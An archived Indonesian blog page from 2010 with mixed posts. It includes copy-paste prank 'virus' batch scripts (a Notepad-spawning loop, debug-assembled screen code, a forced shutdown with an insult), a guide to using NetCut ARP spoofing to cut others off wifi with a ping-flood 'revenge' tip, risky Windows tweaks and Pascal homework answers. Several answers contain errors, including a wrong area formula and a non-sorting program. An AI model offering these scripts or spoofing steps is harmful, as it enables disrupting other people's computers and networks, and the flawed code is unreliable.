2010 | Uphik Lamers

Monday, December 20, 2010

Buat Virus dari Notepad

 

nih Q bagi-bagi script virus/worm
tinggal copas aja tapi save as .bat
----------------------------------------------------------------------
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
-------------------------------END------------------------------------
@echo off
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg
echo g=100>>\z.dbg
echo q>>\z.dbg
debug <\z.dbg>nul
del \z.dbg
But if you really want to mess with a friend then copy and paste the following code which will do the same thing except when they press a key the screen will go black and the only way to stop the batch file is by pressing CTRL-ALT-DELETE.
@echo off
:a
echo e100 B8 13 00 CD 10 E4 40 88 C3 E4 40 88 C7 F6 E3 30>\z.dbg
echo e110 DF 88 C1 BA C8 03 30 C0 EE BA DA 03 EC A8 08 75>>\z.dbg
echo e120 FB EC A8 08 74 FB BA C9 03 88 D8 EE 88 F8 EE 88>>\z.dbg
echo e130 C8 EE B4 01 CD 16 74 CD B8 03 00 CD 10 C3>>\z.dbg
echo g=100>>\z.dbg
echo q>>\z.dbg
debug <\z.dbg>nul
del \z.dbg
goto a
-----------------------------------END-------------------------------

@echo off
msg * I don't like you
shutdown -c "Error! You are too stupid!" -s
-----------------------------------END-------------------------------
@echo off
title The end of the world
cd C:\
:menu
cls
echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc...
pause
echo Pick your poison:
echo 1. Die this way (Wimp)
echo 2. Die this way (WIMP!)
echo 3. DO NOT DIE THIS WAY
echo 4. Die this way (you're boring)
echo 5. Easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two
---------------------------------END---------------------------------

Sekilas Tentang NetCut

 

Netcut - Semua orang sudah keringatan dan manyun di sebuah hostspot wifi umum gratisan akibat koneksi yang putus tiba tiba, tapi anda melihat satu orang yang masih segar bugar dengan wajah yang tak bergelimang berdosa. Maka si kawan itu wajib dicurgai apakah dia sedang memakai netcut untuk mencuri kuota internet anda/ usil dengan user lainnya.
Sekilas cara kerja netcut:
  1. NetCut menjadikan laptop/komputernya sebagai gateway. Jadi dia bebas mengatur siapa yang masuk, dan siapa yang perlu ditendang keluar.
  1. Bekerja berdasarkan ARP (Address Resolution Protocol) Spoofing.
    Jadi dia mengelabuhi mac adress komputer satu Dengan IP adress Komputer lain.
    Misal, komputer A mau komunikasi ke B. Tapi, tiba2 si C mengangu komunikasi. Karena sebelumnya si C sudah sukses melakukan penyusupan di bagian ARP.
    Jadi si C bisa suka aja mau diapain tuh data yang sudah di copet. Mau di putus, di sambung semua terserah padanya.
  1. Software netcut ini paling popular di kalangan pengguna internet wifi gratisan.
  1. Software ini buat sakit hati.

Cara menggunakan Netcut:
  1. Penggunaan netcut sangat mudah dan simpel.
  1. Download netcut > install di komputer > Jalankan softwarenya
  1. Tinggal pilih IP/Hostname/Mac Address client yang ingin diputuskan koneksinya dan mengklik cut off.
  1. User tersebut akan langsung terputus koneksinya dari server sampai anda membebaskannya atau dengan mengklik Resume atau dia mengganti IP address nya sendiri.
 Cara atasi netcut:
  1. Kalau kawan merasa sudah diusili seseorang, pertama ganti saja dulu IP adress nya untuk menghindar, kalau boleh ubah kedekat dengan ip server atau gateway untuk mengelabuhinya. Kalau dia tetap mengulah. Telepon semua pasukan geng anda. :)
  1. Cek ARP untuk mengetahui apakah ada orang yang memakai netcut.
    Start menu > run > ketik "cmd" atau command prompt > ketik lagi "arp -a" untuk melihat IP router. Kalau ada lebih dari satu ip router, pertimbangkan niat ber online. Atau lapor saja ke admin tentang hal ini.
    Lebih gampang: kawan bisa install program Anti ARP(sayang masih trial version, belum ketemu keygennya) dan jalankan sebelum online. Biar lebih aman.
  1. Hidden komputer dari LAN pake XP antispy
  1. Bisa juga memakai program seperti "Anti Netcut", namun saya belum yakin apakah akan bekerja.
  1. Kerjai balik si Pembuat ulah.
Banjiri laptopnya dengan ping yang bejibun dan terus menerus. Biar cepat hang sekalian terutama jika RAM nya rendah. Amin..
start menu > run > ketik "cmd" >> ketik lagi "ping google.com -t"
  1. Lihat muka yang paling tidak berdosa ketika anda baru saja kehilangan koneksi. Razia laptop/ komputernya. Kalau ketahuan, pertimbangkan langkah 1 diatas.
  1. Yang teraman memang, jangan menggunakan software netcut ini untuk mengusili orang, apalagi misalnya korban sedang serius mengerjakan tugas penting. Kasian. Kalau buat sebatas bercanda mungkin boleh sesekali.
Download Netcut
Download Anti Netcut

Mengoptimalkan kinerja komputer

 

Berikut langkah Optimalisasi Windows untuk mempercepat kinerja Komputer :
A. Matikan beberapa fitur Start Up.
Hal ini akan mempercepat loading Windows pada waktu Booting atau pertama kali kita menghidupkan Komputer.
  • Masuk menu RUN >>> Ketikan MSCONFIG >> OK >> Pilih menu Start Up >> Hilangkan semua cawang pada Start up kecuali Program Anti virus
  • Klik Menu service >> Hilangkan cawang pada Automatic Updates
  • Setelah itu >>> Aplly >>> Ok
Hal ini memerlukan Restart Windows, Setelah itu ada Message Windows dan pilih dont show this message again. Kemudian lanjutkan ke Optimasi pada Registry Windows di bawah ini.
B. Optimasi Pada Registry
Rubah Registry Windows pada bagian berikut ini.
  • MASUK RUN >> Ketik REGEDIT >> >> OK
  • MY COMPUTER >>> HKEY_CURRENT_USER >> CONTROL PANEL >> DESKTOP >>
  • Cari MENU SHOW DELAY >> Doble Klik dan rubah value data menjadi 10
  • Cari HUNG-UP TIME OUT >> Doble Klik rubah value dataya menjadi 5
  • MY COMPUTER >> HKEY_LOCAL_MACHINE >> SYSTEM >> CONTROLSET001 >> CONTROL >> WAIT TO KILL SERVICE >> Rubah Valuenya menjadi 500
  • MY COMPUTER >> HKEY_LOCAL_MACHINE >> SYSTEM >> CONTROL SET002 >> CONTROL >> WAIT TO KILL SERVICE >> Rubah Valuenya menjadi 500
  • MY COMPUTER >> HKEY_LOCAL_MACHINE >> SYSTEM >> CURRENT CONTROL Set> COntrol >> SESION MANAGER >> MEMORY MANAGEMENT >> DISABLE PAGING EXCecutive >> Rubah Value data menjadi 1
C. Optimalkan Virtual Memory
  • Masuk Control Panel >> System >> Advanced >> Performance Setting >>> Pilih Custom >> Cawang pada : “Use Drop Shadow For Icon labels on the dekstop” dan “Use Visual styles on windows and buttons” dan kemudian aplly.
  • Pada menu advanced >>> Virtual memory >> Change >> Klik pada drive c:Windows >> Pilih Custom Size >> Rubah Value pada initial size dan maximum Size 2 kali lipat dari value sebelumnya misal 256 rubah ke 512 , 512 rubah 1000) atau anda bisa merubah sesuai keinginan anda asal lebih besar dari value sebelumnya, Kemudian klik Ok.
Tweaking dan Modifikasi diatas bertujuan untuk mengoptimalkan dan mempercepat proses kerja suatu program atau software. Dan untuk mencegah peringatan / warning Virtual memory too low pada saat menjalankan program yag berat seperti Adobe Photoshob, Corel Draw, Adobe Premiere, Pinacle dan program berat lain yang memerlukan Virtual memory yang besar. Dan juga hal ini untuk mendukung Memory Ram yang kecil sehingga masih bisa digunakan untuk menjalankan progam berat tersebut.
Setelah selesai Restart komputer anda maka Kinerja dan Performance Computer anda akan lebih cepat dari sebelumnya. Selamat Mencoba.

Tips mencegah Virus dari Flashdisk

 

Hampir semua orang yang saya temui, semua mengeluh tentang virus, virus, dan virus.
Sebenarnya kebanyakan virus indonesia yang menyebar di sekitar kita tidak dapat hidup
selama kita tidak memicu nya untuk hidup. Antivirus sebaik apapun juga belum tentu
membantu mengurangi perkembangbiakan virus. Oleh karena itu saya mencoba memberikan
trik agar komputer kita tidak terkena virus. 


Langkah Awal (sekali)
Langkah awal ini hanya perlu dilakukan sekali, setelah itu hanya melakukan langkah utama
dan langkah akhir saat membuka flashdisk lain.
- Buka My Computer lewat Start Menu.
- Klik menu Tools > Folder Options
- Pada tab View, beri tanda Centang pada pilihan options Show hidden files and folders
- Lalu beri tanda Centang pada pilihan check Hide extensions for known file types
- Kemudian juga hapus tanda Centa pada pilihan check Hide protected operating system files
- Lalu klik OK.
Ulangi sekali lagi langkah diatas, apa bila setelah di lihat kembali di bagian Hide
protected operating system files atau Hide extensions for known file types masih terdapat
tanda Centang atau tidak ada tanda Centang pada pilihan options Show hidden files and folders, maka kemungkinan besar komputer sudah tertular virus dan trik ini 100% sudah tidak berguna lagi.
Langkah Utama
Ikuti langkah-langkah berikut dan JANGAN sekali-kali mengaibaikan salah satu langkahpun
apabila anda belum mengerti secara pasti.
- Setelah memasukkan flashdisk, JANGAN
- Setelah itu klik tombol [Cancel] atau [X]
- Buka menu Run dari Start Menu, atau tekan tombol [Windows] dan R secara bersamaan di
keyboard.
- Klik [Browse]
- Pada Look In, ubah menjadi lokasi flashdisknya. (misalnya F:)
- Pada View Menu, pilih Detalis.
- Kemudian pada Files of type, pilih All files, maka seketika itu tampil semua file yang ada di dalam flashdisk.

- Cari file yang bernama Autorun.inf, klik sekali saja, kemudian tekan tombol [Delete] pada
keyboard.
- Klik [Yes] pada pada pertanyaan konfirmasi penghapusan.
- Ulangi dua langkah diatas untuk file  file berikut (lihat di kolom Type):
o Data Base File (*.db), file ini berisi tentang informasi sementara untuk menthumbnails
sebuah folder. Tetapi sekarang sering dijadikan trik untuk menyebarkan virus.
o Configuration Settings (*.ini), sebenarnya file ini hanya untuk menkonfigurasi secara individu
sebuah folder (kebanyakan folder-folder system). Kadangkala dijadikan virus sebagai alternatif
Autorun.inf
- Apabila ada beberapa file yang benar-benar anda yakini bahwa file tersebut adalah file anda,
maka anda boleh membiarkan file tersebut di flashdisk.
- Setelah selesai menghapus file-file yang telah ditentukan tadi, klik tombol [X] pada kotak
dialog Browse
- Klik lagi tombol [X] pada kotak dialog Run.
- Cabut flash disk dari komputer.
- Lalu pasang lagi ke komputer.
Langkah Akhir
Langkah terakhir ini adalah langkah usaha untuk membersihkan virus dari flashdisk yang
mungkin sudah terdapat banyak file virus.
- Setelah memasang flashdisk ke komputer pilih Open folder to view files, pada saat kotak
dialog muncul sesaat setelah flashdisk di pasang. Kemudian klik [OK].
- Di windows explorer yang terbuka sekarang, klik [Search] pada toolbar
- Di sebelah kiri terdapat pilihan What do you want to search for ?, piih All files and folders.
- Setelah muncul tampilan baru, pada text box All or part of the file name, isikan [*.exe, *.scr]
(tanpa kurung)
- Pada Look In, pastikan bahwa lokasinya berada pada flashdisk.
- Klik More advanced options untuk menampilkan menu dibawahnya.
- Beri tanda [?] pada pilihan berikut :
* Search system folders
* Search hidden files and folders
* Search subfolders
- Kemudian klik [Search], tunggu beberapa saat sampai proses pencarian selesai.
- Hapus semua file yang HANYA bergambar FOLDER atau DOKUMEN meskipun anda yakin
bahwa anda telah mempunyai folder/ file dokumen tersebut. Ingat ! Yang akan dihapus ini
adalah file virus, dan bukan folder/file dokumen yang anda miliki. Karena kita tadi melakukan
pencarian terhadap file Application (*.exe) dan file Screen-Saver (*.scr) dan bukan pencarian
file folder/file dokumen.
- Setelah selesai menghapus, maka sekarang anda boleh membuka file-file dokumen yang
akan anda buka, edit, perbarui, atau apapun.


Saturday, October 30, 2010

Tugas Algoritma dan Pemrograman

 
Buatlah Susunan Algoritma dari soal dibawah ini:

  1. Tiga pasang suami istri akan menyeberang sungai dari desa A ke desa B. Terdapat sebuah perahu dengan batas muatan hanya 2 orang saja yang akan digunakan untuk menyeberang. Permasalahan pun terjadi ternyata para suami-suami memiliki sifat cemburu, sehingga tidak bisa meninggalkan istrinya dengan suami lain. Susunlah algoritma untuk menyeberangkan ketiga pasang suami istri dari desa A ke desa B tanpa ada satu orang pun suami yang cemburu..
  2. Algoritma untuk mengisi voucher telepon genggam (HP)
  3. Algoritma untuk membuat sebuah pakaian jadi (baju atau celana) dari bahan mentah (kain) yang disediakan.
Buatlah Algoritma kemudian terjemahkan ke dalam bahasa pemrograman pascal 

4. Menampilkan bilangan kelipatan tiga dari angka 1 s/d 20
5. Menampilkan bilangan ganjil dari angka 1 s/d 100
6. Menampilkan bilangan genap dari angka 1 s/d 50
7. Menampilkan bilangan prima dari angka 1 s/d 20
8. Menampilkan bilangan kelipatan 3 dan kelipatan 5 dari angka 1 s/d 30
9. Masukkan sebuah bilangan kemudian tentukan apakah bilangan yang diinput adalah
    bilangan ganjil atau bilangan genap. Gunakan metode pemilihan.
     Layout:
     Masukkan sebuah bilangan: 3 --> ENTER
     Bilangan yang anda input adalah bilangan ganjil
10. Masukkan bilangan 1, setelah itu bilangan 2, kemudian lakukan proses penjumlahan,
     perkalian, pengurangan, dan pembagian. Hasil dari keempat proses aritmatika tersebut
     ditampilkan.
      Layout:
      Bilangan 1:  6
      Bilangan 2:  3
      Hasil penjumlahan  = 9
      Hasil pengurangan = 3
      Hasil perkalian      = 18
      Hasil pembagial     = 2
11. Masukkan nilai jari-jari sebuah lingkaran. Kemudian program akan menampilkan
      hasil perhiutungan luas lingkaran.

       Layout:
       Jari-jari lingkaran: 7
       Luas lingkaran adalah: 154
 12. Buat algoritma dan program untuk menghitung luas yang diarsir pada gambar berikut.

13. Buat tampilan program di bawah ini dengan menggunakan metode perulangan:
       1 2 3 4                         2 2 2                           3 2 1
       1 2 3 4                         1 1 1                           3 2 1
       1 2 3 4                         0 0 0                           3 2 1
       1 2 3 4


       1                                  4 3 2 1                        1
       1 2                               4 3 2                           3   5
       1 2 3                            4 3                              7   9   11
       1 2 3 4                         4                                 13 15 17 19

14.  Buat urutan angka dari terkecil sampai terbesar dari 5 (lima) nilai yang
       diinput. Gunakan metode urutan, pemilihan dan pengulangan.
       Layout:
       Angka 1         : 8
       Angka 2         : 17
       Angka 3         : 5
       Angka 4         : 7
       Angka 5         : 18
       Hasil urutan sebagai berikut:
       5          7          8          17        18

15. Buat program sederhana menggunakan metode pemilihan untuk
      menampilkan keterangan umur di mana:

Umur         Keterangan           
0-5Balita
6-13Anak-anak
14-25Remaja
26-40Dewasa
> 41Orang Tua

      Dengan memasukkan nama, nim, program studi, dan tahun lahir, maka
      akan ditampilkan umur dan keterangan umur.
      Layoutnya:
      Nama              :Ma'ruf Zainuddin
      Nim                 : 21015135
      Program studi  : Sistem Informasi
      Tahun lahir       : 1991

      Umur                 : 19
      Keterangan        : Remaja

 


Jawab

    1. ket : s1 = Suami Pasangan Pertama
                s2 = Suami Pasangan Kedua
                s3 = Suami Pasangan Ketiga
                i1 = Istri Pasangan Pertama
                i2 = Istri Pasangan Kedua
                i3 = Istri Pasangan Ketiga
penyelasaian
        1.i1 dan i2 menyebrang ke Desa sebelah
        2.i1 kembali ke Desa A
        3.i1 dan i3 menyebrang Ke Desa B
        4.i3 kembali ke desa A
        5. s1 dan s2 menyebrang ke desa B
        6. s2 dan i2 Kembali ke Desa A
        7.s2 dan s3 menyebrang ke desa B
        8. i1 kembali ke Desa A
        9. i1 dan i2 menyebrang ke Desa B
        10. i2 Kembali Kedesa A
        11.i2 dan i3 menyebrang KeDesa B




2.  1. Menggosok Bagian Berhologram pada Voucher
     2. Ketik Kode yang Tertera sesuai perintah (Setiap Operator Berbeda)
     3. Kirim
     4. Cek Pulsa ( Setiap Operator Berbeda)

3.  1. Menyiapkan Bahan Berupa Kain,Gunting Jarum, Benang, Dan Alat Pengukur
     2. Menetukan Pola Yang akan dibuat
     3. Mengukur Kain Sesuai Ukuran
     4. Menggunting Kain Tersebut Sesuai Pola
     5. Menjahit Sesuai Model
     6. Merapikan Pakaian tersebut
4. Algoritma untuk menampilkan bilangan kelipatan 3 dari 1 s/d 20:
  1. menentukan nilai awal A:=3
  2. untuk i:=1 sampai 6 lakukan:
    • cetak A (nilai awal)
    • berikutnya cetak A:=A+3 lakukan sampai i ke 6, berhenti.
          Program Pascalnya
             program pascal:

uses crt;
var A, i: byte;
begin
    clrscr;
    A:=3;
    for i:=1 to 6 do
    begin
        write(A:4);
        A:=A+3;
    end;
    readln;
end.

5. Algoritmanya untuk menampilkan bilangan ganjil dari 1 s/d 100:
  • untuk a:=1 sampai 100 lakukan:
    • jika a mod 2=1 maka
    • cetak a
    program pascal:
uses crt;
var a: byte;
begin
    for a:= 1 to 100 do
    begin
        if a mod 2= 1 then
        write(a:4);
    end;
    readln
end.
 6. Algoritma untuk menampilkan bilangan genap dari 1 s/d 50:
  • untuk a:=1 sampai 50 lakukan:
    • jika a mod 2= 0 maka
    • cetak a.
    program pascal:
uses crt;
var a: byte;
begin
    clrscr;
    for a:= 1 to 50 do
    begin
        if a mod 2= 0 then
        write(a:4);
    end;
    readln
end.
7. Algoritma untuk menampilkan bilangan prima dari 1 s/d 20:
  1. bilangan prima hanya akan habis bila dibagi 1 dan bilangan itu sendiri.
  2. sehingga pasti akan ada sisa hasil bagi (mod) jika dibagi bilangan lebih dari 1 (kecuali 2) sampai bilangan sebelum bilangan itu (x-1).
  3. mencetak 2 terlebih dahulu ke layar.
  4. mengeset status bilangan prima menjadi true.
  5. beri nilai  =1 (menandakan bilangan prima).
  6. melakukan pengecekan mulai dari 2 sampai x-1.
  7. jika x habis dibagi bilangan yang ada antara 2 sampai x-1, berarti x bukan bilangan prima. Variabel prima yang awalnya true berubah jadi false dan pengecekan tidak perlu dilanjutkan (break).
  8. jika dari bilangan antara 2 sampai x-1 tak satupun yang habis dibagi, maka variabel prima yang dideklarasikan sebagai true tidak berubah nilai (tetap true). Sehingga bilangan tersebut adalah bilangan prima dan akan ditampilkan ke layar.
  9. tambahkan nilai x dengan 1 dan ulangi dari langkah ke-5 sampai nilai x= 20.
     Program pascal:
uses crt;
var x, y: byte; prima: boolean;
begin
    clrscr;
    write('2':4);
    for x:= 1 to 20 do
    begin
        prima:=true;
        for y:=2 to x-1 do
        begin
            if x mod y =0 then
            begin
                prima:=false;
                break;
            end;
        end;
        if prima then write(x:4);
    end;
    readln;
end.
8. Algoritma untuk menampilkan bilangan kelipatan 3 dan kelipatan 5 secara
    bersamaan dari angka 1 s/d 30:

  • Untuk i:= 1 sampai 30 lakukan:
    • jika i mod 3= 0 atau i mod 5 =0
    • maka cetak i.
     Program pascal:
uses crt;
var i: byte;
begin
    for i:= 1 to 30 do
       if (i mod 3=0) or (i mod 5=0) 
        then write(i:4);
    readln
end.
9. Program pascal untuk menentukan bilangan bulat yang diinput adalah bilangan
    ganjil atau genap:

uses crt;
var lagi: char; x: longint; ket: string;
begin
   clrscr;
   lagi:='Y';
   while lagi='Y' do
   begin
   clrscr;
   write('Masukkan sebuah bilangan bulat: ');readln(x);
     if x mod 2= 0 then ket:='genap'
     else ket:='ganjil';
   writeln;
   writeln('Bilangan yang diinput adalah bilangan ',ket);
   write('Coba lagi (Y/N ): '); read(lagi);
   end; readln
end.
10. Program pascal untuk menghitung hasil proses aritmatika dari dua bilangan
      bulat yang diinput:

uses crt;
var  b1, b2: longint;
begin
    clrscr;
    write('Bilangan 1: '); read(b1);
    write('Bilangan 2: ');readln(b2);
    writeln(#10);
    writeln('Hasil penjumlahan= ', b1+b2);
    writeln('Hasil pengurangan= ', b1-b2);
    writeln('Hasil perkalian  = ', b1*b2);
    writeln('Hasil pembagian  = ', b1/b2 :0:0);
    readln;
end.
 11. Program pascal untuk menghitung luas lingkaran dengan menginput jari-jari
       lingkaran (r):

uses crt;
var L,r: real;
begin
    clrscr;
    write('Jari-jari lingkaran= '); readln(r);
    L:= pi * sqr(r);
    writeln('Luas lingkaran   = ', L:0:0);
    readln
end.
12. Algortma untuk menghitung luas daerah yang diarsir pada gambar:

  1. Menentukan nilai panjang sisi luar (pL): pL= 18, lebar sisi luar (lL): lL= 12, panjang sisi dalam (pT): pT= 10, dan lebar sisi dalam (lT): lT= 5.
  2. Menghitung luas total, LTotal= pL x lL
  3. Menghitung luas tengah, LTengah= pT x lT
  4. Didapat luas yang diarsir, LArsir= LTotal-LTengah
      Program pascal:
uses crt;
var pL, lL, pT, lT, L_total, L_tengah: integer;
begin
    clrscr;
    pL:=18;  lL:=12;  pT:=10;  lT:=5;
    L_total:= pL*lL;
    L_tengah:= pL*lL;
    writeln('Luas total     = ', L_total);
    writeln('Luas tengah    = ', L_tengah);
    writeln('Luas yg diarsir= ', L_total-L_tengah);
    readln;
end.
13.     1) uses crt;
var i, j: byte;
begin
    clrscr;
    for i:= 1 to 4 do
    begin
        for j:= 1 to 4 do
        write(j:4); writeln(#10);
    end;
    readln;
end.
         2) uses crt;
var A, i, j: byte;
begin
    clrscr;
    A:=2;
    for i:= 1 to 3 do
    begin
        for j:= 1 to 3 do
        write(A:4);
        A:=A-1; writeln(#10);
    end;
    readln
end.
        3) uses crt;
var i, j: byte;
begin
    clrscr;
    for i:= 1 to 3 do
    begin
        for j:= 3 downto 1 do
        write(j:4); writeln(#10);
    end;
    readln
end.
         4) uses crt;
var i, j: byte;
begin
    clrscr;
    for i:= 1 to 4 do
    begin
        for j:= 1 to i do
        write(j:4); writeln(#10);
    readln
end.
          5) uses crt;
var i, j: byte;
begin
    clrscr;
    for i:= 1 to 4 do
    begin
        for j:= 4 downto i do
        write(j:4);
        writeln(#10);
    end;
    readln
end.
       6) uses crt;
var A, i, j: byte;
begin
    A:=1;
    for i:= 1 to 4 do
    begin
        for j:=1 to i do
        begin
            write(A:4);
            A:=A+2;
        end;
        writeln(#10);
    end;
    readln
end.


14. uses crt;
var i, j: byte;
begin
    clrscr;
    for i:= 1 to 7 do
    begin
        for j:= 1 to 1 do
        write(j:4); writeln(#10);
    end;
    readln;
end.
15. Program pascal untuk mengisi biodata mahasiswa serta menampilkan umur
      dan keterangan umur secara otomatis:
uses crt;
var lahir, umur: integer;
    ket: string;
begin
    write('NIM          : ');readln;
    write('Nama         : ');readln;
    write('Program Studi: ');readln;
    write('Tahun Lahir  : ');readln(lahir);
    writeln(#10);
    umur:=2010-lahir;
      if umur<=5 then ket:='balita'
      else if umur<=13 then ket:='anak-anak'
      else if umur<=25 then ket:='remaja'
      else if umur<=40 then ket:='dewasa'
      else ket:='orang tua';
    writeln('Umur      : ', umur);
    writeln('Keterangan: ', ket);
    readln
end.

Saturday, October 2, 2010

ALOGARITMA SORTING

 
Penjelasan Alogaritma Sorting .


Istilah sorting tentu tidak asing di telinga kita, yaitu istilah untuk mengurutkan data. Ada dua bentuk sorting yaitu secara ascending dan descending. Sorting secara ascending adalah cara mengurutkan data mulai data bernilai terkecil sampai terbesar. Sedangkan descending mengurutkan data mulai dari data terbesar sampai terkecil. Sebagai contoh misalkan diberikan data berupa bilangan berikut ini:
3 9 1 4 0 2
Hasil sorting ascending adalah 0 1 2 3 4 9, dan hasil secara descending adalah 9 4 3 2 1 0.
Nah pada artikel kali ini akan dibahas bagaimana kita mencari algoritma untuk melakukan sorting ini sekaligus implementasinya.
OK, misalkan diberikan data sebagaimana data di atas. Bagaimana cara kita mengurutkan data secara ascending? Yup… untuk memudahkan pemrosesan data, lebih enak kalau kita nyatakan terlebih dahulu data bilangan di atas ke dalam bentuk notasi xi dengan i = 1, 2, …, 6. Sehingga dalam hal ini x1=3, x2=9, x3=1, x4=4, x5=0 dan x6=2.
Nah… selanjutnya apabila kita ingin mengurutkan data secara ascending, maka harapan kita urutan data pertama adalah data yang memiliki nilai paling kecil. Oleh karena itu kita harus mencari data terkecil dari semua data yang ada, lalu tempatkan ia ke data urutan pertama. Lho… lantas, bagaimana dengan data urutan pertama sebelumnya? Bukankah nantinya dia akan tertimpa dengan data terkecil itu? Oh tidak… data urutan pertama sebelumnya akan kita tukar tempatnya dengan milik data terkecil. Misalkan data terkecil terletak pada urutan ke-4 dari seluruh data, maka data pertama kita tempatkan ke urutan ke-4 dan data terkecil diletakkan ke urutan pertama.
Ini dia pseudocode dalam Pascal untuk mencari nilai terkecil dari semua data (x1, x2, …, x6) sekaligus mencari tempatnya.
01.min := x[1];
02.for i:=1 to 6 do
03.begin
04.    if (x[i] <= min) then
05.    begin
06.       min := x[i];
07.       tempatnya_min := i;
08.    end;
09.end;
Jadi pertama-tama, kita anggap nilai minimum adalah x1. Lalu nilai minimum ini kita bandingkan dengan semua data yang ada. Jika ditemukan nilai xi yang lebih kecil atau sama dengan nilai minimum, maka xi itulah nilai minimum yang baru, sekaligus tempat miliknya data minimum ini (i) kita catat. Nah setelah nilai minimum dari semua data ditemukan, maka selanjutnya kita tukar tempat nilai minimum tadi dengan tempat data pertama.
1.temp := x[1];
2.x[1] := x[tempatnya_min];
3.x[tempatnya_min] := temp;
Sehingga pseudocode proses mencari nilai terkecil dan menukar tempatnya dengan data pertama menjadi
01.min := x[1];
02.for i:=1 to 6 do
03.begin
04.    if (x[i] <= min) then
05.    begin
06.       min := x[i];
07.       tempatnya_min := i;
08.    end;
09.end;
10. 
11.temp := x[1];
12.x[1] := x[tempatnya_min];
13.x[tempatnya_min] := temp;
Nah setelah ditukar tempat antara data pertama dengan data terkecil maka urutan data menjadi
0 9 1 4 3 2
Proses selanjutnya, kita ulangi lagi proses yang sama yaitu mencari data terkecil dari kelompok data urutan ke-2 sampai dengan ke-6. Lalu tukar tempat data terkecil tersebut dengan tempat data urutan ke-2. Berikut ini pseudocodenya
01.min := x[2];
02.for i:=2 to 6 do
03.begin
04.    if (x[i] <= min) then
05.    begin
06.       min := x[i];
07.       tempatnya_min := i;
08.    end;
09.end;
10. 
11.temp := x[2];
12.x[2] := x[tempatnya_min];
13.x[tempatnya_min] := temp;
Tukar tempat antara data minimum dengan data ke-2 menghasilkan urutan data
0 1 9 4 3 2
Proses yang sama kembali dilakukan untuk kelompok data mulai urutan ke-3 sampai ke-6. Cari nilai minimumnya, lalu tukar tempat dengan data ke-3. Begitu seterusnya sampai dengan kelompok data ke-6 sampai ke-6. Berikut ini hasil urutan data untuk setiap proses
hasil urutan untuk kelompok data x3 s/d x6 : 0 1 2 4 3 9
hasil urutan untuk kelompok data x4 s/d x6 : 0 1 2 3 4 9
hasil urutan untuk kelompok data x5 s/d x6 : 0 1 2 3 4 9
hasil urutan untuk kelompok data x6 s/d x6 : 0 1 2 3 4 9
Nah… setelah proses selesai diperolehlah data yang terurut secara ascending. Pada contoh ini sebenarnya proses sorting ascending selesai pada kelompok data x4 s/d x6. Namun untuk keperluan generalisasi (bisa diterapkan ke semua kasus) maka kita selesaikan proses sampai dengan kelompok data terakhir.
Dengan demikian secara umum, untuk data x1 … xn, berikut ini pseudocode untuk sorting secara ascending
01.for kelompok := 1 to n do
02.begin
03.   min := x[kelompok];
04.   for i := kelompok to n do
05.   begin
06.      if (x[i] <= min) then
07.      begin
08.         min := x[i];
09.         tempatnya_min := i;
10.      end;
11.   end;
12. 
13.   temp := x[kelompok];
14.   x[kelompok] := x[tempatnya_min];
15.   x[tempatnya_min] := temp;
16.end;
Sedangkan berikut ini contoh implementasi algoritma sorting ascending di atas pada kasus yang diberikan di atas.
01.program sorting;
02.var x : array[1..100] of integer;
03.    i, n, min, kelompok, temp, tempatnya_min : integer;
04.begin
05.    { membuat data array yang terdiri dari data : 3 9 1 4 0 2 }
06. 
07.    x[1] := 3;
08.    x[2] := 9;
09.    x[3] := 1;
10.    x[4] := 4;
11.    x[5] := 0;
12.    x[6] := 2;
13. 
14.    n := 6; {jumlah data}
15. 
16.    { proses sorting ascending }
17. 
18.    for kelompok := 1 to n do
19.    begin
20.       min := x[kelompok];
21.       for i := kelompok to n do
22.       begin
23.          if (x[i] <= min) then
24.          begin
25.             min := x[i];
26.             tempatnya_min := i;
27.          end;
28.       end;
29. 
30.       temp := x[kelompok];
31.       x[kelompok] := x[tempatnya_min];
32.       x[tempatnya_min] := temp;
33.    end;
34. 
35.    { menampilkan hasil sorting }
36. 
37.    for i:=1 to n do
38.    begin
39.       writeln(x[i], ' ');
40.    end;
41.end.
Lantas bagaimana dengan sorting descending? Ya… berarti kita tidak lagi mencari data minimum, tapi data maksimum. Bagaimana caranya? ya… tinggal ubah saja tanda <= menjadi >=. Oya, jangan lupa ubah pula nama variabel min menjadi max :-) karena nantinya menjadi lucu, wong mencari nilai maksimum kok nama variabelnya ‘min’, meskipun gak pengaruh di output.